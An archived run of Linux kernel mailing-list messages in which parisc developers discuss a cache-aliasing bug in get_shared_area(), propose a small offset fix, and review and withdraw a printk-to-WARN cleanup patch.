         GUibebDVADnYSYoNZxOG+Hw18AYBCc5Q8sajhuRL5+YLWZIf7LKJ0/gmH+NR8cmVp7RF
         5E/koRPFKyUVT6oEgk3H0d2pDLi+/TrnDYHMDDtcgaTPWbMuOYID84xfF7SEuxP73/lF
         LaVyT1Qbr3IrBka1grhApwp2x37RZqS2FCwD8c7YWrf/YzZa8qgh0KmnQmUVFfV+AoGV
         ap6T7BP9YGC5+16+/c5UqTVWgvm9ImAECeBS8u+esaz1DdGdGz5jW7Go1HtQ+jZKN8iB
         zW+w==
Original-Received: by 10.58.239.138 with SMTP id vs10mr1557828vec.16.1351855248573;
 Fri, 02 Nov 2012 04:20:48 -0700 (PDT)
Original-Received: by 10.58.244.232 with HTTP; Fri, 2 Nov 2012 04:20:48 -0700 (PDT)
In-Reply-To: <1351854504.2439.20.camel@dabdike.int.hansenpartnership.com>
X-System-Of-Record: true
X-Gm-Message-State: ALoCoQnDOsWnYnSajHQqUAprdbALT9o7EE9FIlXMQal15NgX3prExehj9ahMxLhanTRFXcIxvs7YmKjcL+b9P41I7XJ36NdXwChKmcAt6PMWZ52EjVwnoO+OWC9sn3+7jQpdAUrcsoxSLBIwFcuSPgYMrJLLVExkdbYUkcGG32pYvbdBip62DS2PBM768Wan/4Ik4e/UAa3ix22dNdmcBfcTMWqrlA9Ypg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4659
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4659>

On Fri, Nov 2, 2012 at 4:08 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Fri, 2012-11-02 at 09:34 +0000, James Bottomley wrote:
>> > Looking at the arch/parisc/kernel/sys_parisc.c implementation of
>> > get_shared_area(), I do have a concern though. The function basically
>> > ignores the pgoff argument, so that if one creates a shared mapping of
>> > pages 0-N of a file, and then a separate shared mapping of pages 1-N
>> > of that same file, both will have the same cache offset for their
>> > starting address.
>> >
>> > This looks like this would create obvious aliasing issues. Am I
>> > misreading this ? I can't understand how this could work good enough
>> > to be undetected, so there must be something I'm missing here ???
>>
>> No, I think it does.
>>
>> I also think the pgoff != 0 case is rare, so it doesn't show very often.
>> To test this, I booted up with a printk for every pgoff != 0 and it
>> didn't trigger, so it's probably not seen in the ordinary course of
>> events.
>
> I got it to show: Git uses mmap2 with large page offsets.  However, it
> seems to use offsets with a granularity of 16MB which is 4x our aliasing
> congruency, so an equivalency problem still wouldn't show up.

All right. Thanks for looking it up - I just wasn't sure if my reading
of the code was correct (and, I am surprised this isn't more common :)

-- 
Michel "Walken" Lespinasse
A program is never fully debugged until the last user dies.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Fri, 2 Nov 2012 04:23:56 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <CANN689HkvYch9JAmo+h44Qq+fMvi0ugc01nsxLnMvkrTcnF37A@mail.gmail.com>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
	<1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1351855440 22018 80.91.229.3 (2 Nov 2012 11:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Nov 2012 11:24:00 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 02 12:24:09 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TUFM7-0001m4-9i
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Nov 2012 12:24:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755096Ab2KBLX6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Nov 2012 07:23:58 -0400
Original-Received: from mail-vc0-f174.google.com ([209.85.220.174]:62505 "EHLO
	mail-vc0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751515Ab2KBLX5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Nov 2012 07:23:57 -0400
Original-Received: by mail-vc0-f174.google.com with SMTP id fk26so3623756vcb.19
        for <linux-parisc@vger.kernel.org>; Fri, 02 Nov 2012 04:23:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-system-of-record;
        bh=gTEj/IupWkae7umgctr5JTEkLOCrCTl8SSFzh8laZvk=;
        b=lTFlodNUi+2hoDT1VHvJuJm1T1oylBSza2y9S4yjk8LFdu7A81ZdLyeznmSqlH9XZN
         e+qJ3nFIJ3fXEJGtF6O7eY/fCdQo2Px7TbMBLe67KAlECZRrf4fht3CHWFhzmdfkf2Ri
         SZKmWuaRXeBp/Hq8geQ7JzYiRqhgFp6/ecIqsl7fejcCeyFA4r4d5oupwNq36kV86UAb
         0J3fJq6Ecsa9Z/wVPzi4wDABe4tkWV85UX/6xDGyejN3AhOqK8QFCOaE+x8xy8Ma+Rqg
         VqmMxnK/gJemacY2SX3aPoWUatZ1eLkyz84zs0AGnyc4LdC57eas69IlioxzoO2Dhbnq
         flcA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-system-of-record:x-gm-message-state;
        bh=gTEj/IupWkae7umgctr5JTEkLOCrCTl8SSFzh8laZvk=;
        b=mEQAFvPHWh0KOUyvwCrw49savORJKnGKNcCny5CEDBzdKYS/hDCNFMq+4Stob6azu5
         I+iBtp7v3U2mA1Yw2v8lXTBz4s4+k//q67PV2wt9Ew2ofc0/yp+6e7dX5WZW+9ajvvAd
         0KXGeZm/cHHHwTAW7ikBVAPo0K1ahkP2C85s7xTzaRM9w1UAVD42QCbXQ3e0cKm/i6G+
         Fui/OZJjD4adDWJizjtGhGtIf98gd5oA6Ni7WOV/FRxc+pDFN4cskXu+05hV3esMi2UN
         vcdfNXfcQTqOGoyuOSEhfZzWGb7g/Ijeo1txawrRCFk0IbUtjBPNvU25wsT9oFwENdZJ
         s67g==
Original-Received: by 10.58.18.239 with SMTP id z15mr1531777ved.27.1351855436936; Fri,
 02 Nov 2012 04:23:56 -0700 (PDT)
Original-Received: by 10.58.244.232 with HTTP; Fri, 2 Nov 2012 04:23:56 -0700 (PDT)
In-Reply-To: <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
X-System-Of-Record: true
X-Gm-Message-State: ALoCoQm1cG59Sf51U4DHjBgVd+WNtbDkZpdHLRnsuOJeOjZg+7Q76Tb75xLzn9zYjRiYl0ZemeRyGlfp3dSJ2ocoqkYrSyh1+cN3oRy9Zp384Usdtdz45RnyyuDWgah0x5SnfRmmCJbnO8NoalWqd2y7ZrYS3SY/ZndizrQvSpvsnejGxhLOv+lFRxlVVvxSRQmrsQumLwuQDtP3786O2GU4Tle+HhqGBw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4660
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4660>

On Fri, Nov 2, 2012 at 2:34 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> [cc to parisc list]
>
> On Thu, 2012-11-01 at 16:45 -0700, Michel Lespinasse wrote:
>> Hi,
>>
>> I am currently working on a patchset to avoid the brute-force search
>> in arch_get_unmapped_area functions (and also pushes some of it back
>> into generic code). So far I've only sent it as an RFC on linux-mm.
>
> Actually, I read linux-mm pretty closely (at least for the cgroups
> stuff), but I must have missed it.

Oh, I've actually only sent out the generic and x86_64 parts so far,
as I was looking for comments on the general design first. I'm going
through the architectures but haven't tried sending that out yet :)

>  In general, if you need the
> attention of arch maintainers, linux-arch is the right list to cc.

Oh nice, I didn't know about that particular list.

-- 
Michel "Walken" Lespinasse
A program is never fully debugged until the last user dies.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Fri, 02 Nov 2012 12:30:53 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <1351859453.2439.24.camel@dabdike.int.hansenpartnership.com>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
	 <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
	 <1351854504.2439.20.camel@dabdike.int.hansenpartnership.com>
	 <CANN689HPeQhYCDcFenTH35iBL8zV7vpHvsQUJQOD=Vz3Z9D3bQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351859460 23459 80.91.229.3 (2 Nov 2012 12:31:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Nov 2012 12:31:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michel Lespinasse <walken@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 02 13:31:09 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TUGOw-0008BP-3J
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Nov 2012 13:31:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758308Ab2KBMa5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Nov 2012 08:30:57 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40626 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755433Ab2KBMa5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Nov 2012 08:30:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 96A1C8EE0E4;
	Fri,  2 Nov 2012 05:30:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DmGBhiLVpZlH; Fri,  2 Nov 2012 05:30:56 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9CB1F8EE086;
	Fri,  2 Nov 2012 05:30:55 -0700 (PDT)
In-Reply-To: <CANN689HPeQhYCDcFenTH35iBL8zV7vpHvsQUJQOD=Vz3Z9D3bQ@mail.gmail.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4661>

On Fri, 2012-11-02 at 04:20 -0700, Michel Lespinasse wrote:
> On Fri, Nov 2, 2012 at 4:08 AM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > On Fri, 2012-11-02 at 09:34 +0000, James Bottomley wrote:
> >> > Looking at the arch/parisc/kernel/sys_parisc.c implementation of
> >> > get_shared_area(), I do have a concern though. The function basically
> >> > ignores the pgoff argument, so that if one creates a shared mapping of
> >> > pages 0-N of a file, and then a separate shared mapping of pages 1-N
> >> > of that same file, both will have the same cache offset for their
> >> > starting address.
> >> >
> >> > This looks like this would create obvious aliasing issues. Am I
> >> > misreading this ? I can't understand how this could work good enough
> >> > to be undetected, so there must be something I'm missing here ???
> >>
> >> No, I think it does.
> >>
> >> I also think the pgoff != 0 case is rare, so it doesn't show very often.
> >> To test this, I booted up with a printk for every pgoff != 0 and it
> >> didn't trigger, so it's probably not seen in the ordinary course of
> >> events.
> >
> > I got it to show: Git uses mmap2 with large page offsets.  However, it
> > seems to use offsets with a granularity of 16MB which is 4x our aliasing
> > congruency, so an equivalency problem still wouldn't show up.
> 
> All right. Thanks for looking it up - I just wasn't sure if my reading
> of the code was correct (and, I am surprised this isn't more common :)

Well, I can fix it like this, but until something actually causes an
inequivalency, I'll keep it as a low priority bug fix.

James

---

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 7426e40..f76c108 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -73,6 +73,8 @@ static unsigned long get_shared_area(struct address_space *mapping,
 	struct vm_area_struct *vma;
 	int offset = mapping ? get_offset(mapping) : 0;
 
+	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
+
 	addr = DCACHE_ALIGN(addr - offset) + offset;
 
 	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <Julia.Lawall@lip6.fr>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH 15/16] drivers/parisc/pdc_stable.c: use WARN
Date: Sat,  3 Nov 2012 11:58:36 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1351940317-14812-16-git-send-email-Julia.Lawall@lip6.fr>
References: <1351940317-14812-1-git-send-email-Julia.Lawall@lip6.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1351940445 18117 80.91.229.3 (3 Nov 2012 11:00:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2012 11:00:45 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 03 12:00:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TUbTA-0006Xn-GG
	for glpp-linux-parisc@plane.gmane.org; Sat, 03 Nov 2012 12:00:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755477Ab2KCLAn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Nov 2012 07:00:43 -0400
Original-Received: from mail4-relais-sop.national.inria.fr ([192.134.164.105]:9242 "EHLO
	mail4-relais-sop.national.inria.fr" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754587Ab2KCK6y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Nov 2012 06:58:54 -0400
X-IronPort-AV: E=Sophos;i="4.80,705,1344204000"; 
   d="scan'208";a="161245676"
Original-Received: from palace.lip6.fr (HELO localhost.localdomain) ([132.227.105.202])
  by mail4-relais-sop.national.inria.fr with ESMTP/TLS/DHE-RSA-AES256-SHA; 03 Nov 2012 11:58:46 +0100
X-Mailer: git-send-email 1.7.8.6
In-Reply-To: <1351940317-14812-1-git-send-email-Julia.Lawall@lip6.fr>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4662 gmane.linux.kernel.janitors:26739 gmane.linux.kernel:1388023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4662>

From: Julia Lawall <Julia.Lawall@lip6.fr>

Use WARN rather than printk followed by WARN_ON(1), for conciseness.

A simplified version of the semantic patch that makes this transformation
is as follows: (http://coccinelle.lip6.fr/)

// <smpl>
@@
expression list es;
@@

-printk(
+WARN(1,
  es);
-WARN_ON(1);
// </smpl>

Signed-off-by: Julia Lawall <Julia.Lawall@lip6.fr>

---
 drivers/parisc/pdc_stable.c |    6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 246a92f..0f54ab6 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -212,12 +212,10 @@ pdcspath_store(struct pdcspath_entry *entry)
 			entry, devpath, entry->addr);
 
 	/* addr, devpath and count must be word aligned */
-	if (pdc_stable_write(entry->addr, devpath, sizeof(*devpath)) != PDC_OK) {
-		printk(KERN_ERR "%s: an error occurred when writing to PDC.\n"
+	if (pdc_stable_write(entry->addr, devpath, sizeof(*devpath)) != PDC_OK)
+		WARN(1, KERN_ERR "%s: an error occurred when writing to PDC.\n"
 				"It is likely that the Stable Storage data has been corrupted.\n"
 				"Please check it carefully upon next reboot.\n", __func__);
-		WARN_ON(1);
-	}
 		
 	/* kobject is already registered */
 	entry->ready = 2;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia.lawall@lip6.fr>
Newsgroups: gmane.comp.file-systems.btrfs,gmane.linux.kernel,gmane.linux.network,gmane.comp.video.dri.devel,gmane.linux.kernel.debugging.kgdb.bugs,gmane.linux.file-systems.logfs,gmane.linux.ports.parisc,gmane.linux.drivers.rdma,gmane.linux.raid,gmane.linux.usb.general,gmane.linux.scsi,gmane.comp.file-systems.ext4
Subject: merging printk and WARN
Date: Sun, 4 Nov 2012 21:25:53 +0100 (CET)
Lines: 11
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1211042120200.1960@localhost6.localdomain6>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII
X-Trace: ger.gmane.org 1352060800 9209 80.91.229.3 (4 Nov 2012 20:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Nov 2012 20:26:40 +0000 (UTC)
Cc: dri-devel@lists.freedesktop.org, jason.wessel@windriver.com,
	kgdb-bugreport@lists.sourceforge.net,
	Prasad Joshi <prasadjoshi.linux@gmail.com>, logfs@logfs.org,
	linux-btrfs@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Roland Dreier <roland@kernel.org>,
	Sean Hefty <sean.hefty@intel.com>, hal.rosenstock@gmail.com,
	linux-rdma@vger.kernel.org, linux-raid@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-scsi@vger.kernel.org,
	Andreas Dilger <adilger.kernel@dilger.ca>,
	linux-ext4@vger.kernel.org
To: linux-kernel@vger.kernel.org, airlied@linux.ie,
	netdev@vger.kernel.org, arnd@arndb.de, joern@logfs.org,
	chris.mason@fusionio.com, m@bues.ch, jejb@parisc-linux.org,
	faisal.latif@intel.com, neilb@suse.de, gregkh@linuxfoundation.org,
	JBottomley@parallels.com, swise@chelsio.com,
	achim_leubner@adaptec.com, swise@chelsio.com, tytso@mit.edu
Original-X-From: linux-btrfs-owner@vger.kernel.org Sun Nov 04 21:26:38 2012
Return-path: <linux-btrfs-owner@vger.kernel.org>
Envelope-to: gcfb-btrfs-devel-moved1@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-btrfs-owner@vger.kernel.org>)
	id 1TV6m9-0000kE-51
	for gcfb-btrfs-devel-moved1@plane.gmane.org; Sun, 04 Nov 2012 21:26:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751769Ab2KDU0D (ORCPT
	<rfc822;gcfb-btrfs-devel-moved1@m.gmane.org>);
	Sun, 4 Nov 2012 15:26:03 -0500
Original-Received: from mail4-relais-sop.national.inria.fr ([192.134.164.105]:37232
	"EHLO mail4-relais-sop.national.inria.fr" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751543Ab2KDU0B (ORCPT
	<rfc822;linux-btrfs@vger.kernel.org>);
	Sun, 4 Nov 2012 15:26:01 -0500
X-IronPort-AV: E=Sophos;i="4.80,711,1344204000"; 
   d="scan'208";a="161333628"
Original-Received: from 80.46.204.77.rev.sfr.net (HELO hadrien.local) ([77.204.46.80])
  by mail4-relais-sop.national.inria.fr with ESMTP/TLS/DHE-RSA-AES256-SHA; 04 Nov 2012 21:25:55 +0100
X-X-Sender: jll@localhost6.localdomain6
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
Original-Sender: linux-btrfs-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-btrfs.vger.kernel.org>
X-Mailing-List: linux-btrfs@vger.kernel.org
Xref: news.gmane.org gmane.comp.file-systems.btrfs:21112 gmane.linux.kernel:1388326 gmane.linux.network:248333 gmane.comp.video.dri.devel:76075 gmane.linux.kernel.debugging.kgdb.bugs:5908 gmane.linux.file-systems.logfs:153 gmane.linux.ports.parisc:4663 gmane.linux.drivers.rdma:13786 gmane.linux.raid:40652 gmane.linux.usb.general:74227 gmane.linux.scsi:78526 gmane.comp.file-systems.ext4:35290
Archived-At: <http://permalink.gmane.org/gmane.comp.file-systems.btrfs/21112>

It looks like these patches were not a good idea, because in each case the 
printk provides an error level, and WARN then provides another one.

Sorry for the noise.

julia
--
To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Sun, 4 Nov 2012 19:29:06 -0500
Lines: 84
Approved: news@gmane.org
Message-ID: <BLU0-SMTP69F46452FE3E7DDDF6109997640@phx.gbl>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com> <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com> <1351854504.2439.20.camel@dabdike.int.hansenpartnership.com> <CANN689HPeQhYCDcFenTH35iBL8zV7vpHvsQUJQOD=Vz3Z9D3bQ@mail.gmail.com> <1351859453.2439.24.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1352075362 17119 80.91.229.3 (5 Nov 2012 00:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Nov 2012 00:29:22 +0000 (UTC)
Cc: Michel Lespinasse <walken@google.com>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 05 01:29:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TVAZE-0001fc-Aw
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Nov 2012 01:29:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750977Ab2KEA3S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Nov 2012 19:29:18 -0500
Original-Received: from blu0-omc4-s20.blu0.hotmail.com ([65.55.111.159]:1982 "EHLO
	blu0-omc4-s20.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750819Ab2KEA3S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Nov 2012 19:29:18 -0500
Original-Received: from BLU0-SMTP69 ([65.55.111.136]) by blu0-omc4-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Nov 2012 16:29:16 -0800
X-Originating-IP: [69.158.131.52]
X-EIP: [wBg2F+9bWcf4ntA46q9h38Ol6u/3+pTA]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.52]) by BLU0-SMTP69.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 4 Nov 2012 16:29:15 -0800
In-Reply-To: <1351859453.2439.24.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 Nov 2012 00:29:16.0073 (UTC) FILETIME=[9653B990:01CDBAEC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4664
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4664>

On 2-Nov-12, at 8:30 AM, James Bottomley wrote:

> On Fri, 2012-11-02 at 04:20 -0700, Michel Lespinasse wrote:
>> On Fri, Nov 2, 2012 at 4:08 AM, James Bottomley
>> <James.Bottomley@hansenpartnership.com> wrote:
>>> On Fri, 2012-11-02 at 09:34 +0000, James Bottomley wrote:
>>>>> Looking at the arch/parisc/kernel/sys_parisc.c implementation of
>>>>> get_shared_area(), I do have a concern though. The function  
>>>>> basically
>>>>> ignores the pgoff argument, so that if one creates a shared  
>>>>> mapping of
>>>>> pages 0-N of a file, and then a separate shared mapping of pages  
>>>>> 1-N
>>>>> of that same file, both will have the same cache offset for their
>>>>> starting address.
>>>>>
>>>>> This looks like this would create obvious aliasing issues. Am I
>>>>> misreading this ? I can't understand how this could work good  
>>>>> enough
>>>>> to be undetected, so there must be something I'm missing here ???
>>>>
>>>> No, I think it does.
>>>>
>>>> I also think the pgoff != 0 case is rare, so it doesn't show very  
>>>> often.
>>>> To test this, I booted up with a printk for every pgoff != 0 and it
>>>> didn't trigger, so it's probably not seen in the ordinary course of
>>>> events.
>>>
>>> I got it to show: Git uses mmap2 with large page offsets.   
>>> However, it
>>> seems to use offsets with a granularity of 16MB which is 4x our  
>>> aliasing
>>> congruency, so an equivalency problem still wouldn't show up.
>>
>> All right. Thanks for looking it up - I just wasn't sure if my  
>> reading
>> of the code was correct (and, I am surprised this isn't more  
>> common :)
>
> Well, I can fix it like this, but until something actually causes an
> inequivalency, I'll keep it as a low priority bug fix.
>
> James
>
> ---
>
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/ 
> sys_parisc.c
> index 7426e40..f76c108 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -73,6 +73,8 @@ static unsigned long get_shared_area(struct  
> address_space *mapping,
> 	struct vm_area_struct *vma;
> 	int offset = mapping ? get_offset(mapping) : 0;
>
> +	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
> +
> 	addr = DCACHE_ALIGN(addr - offset) + offset;
>
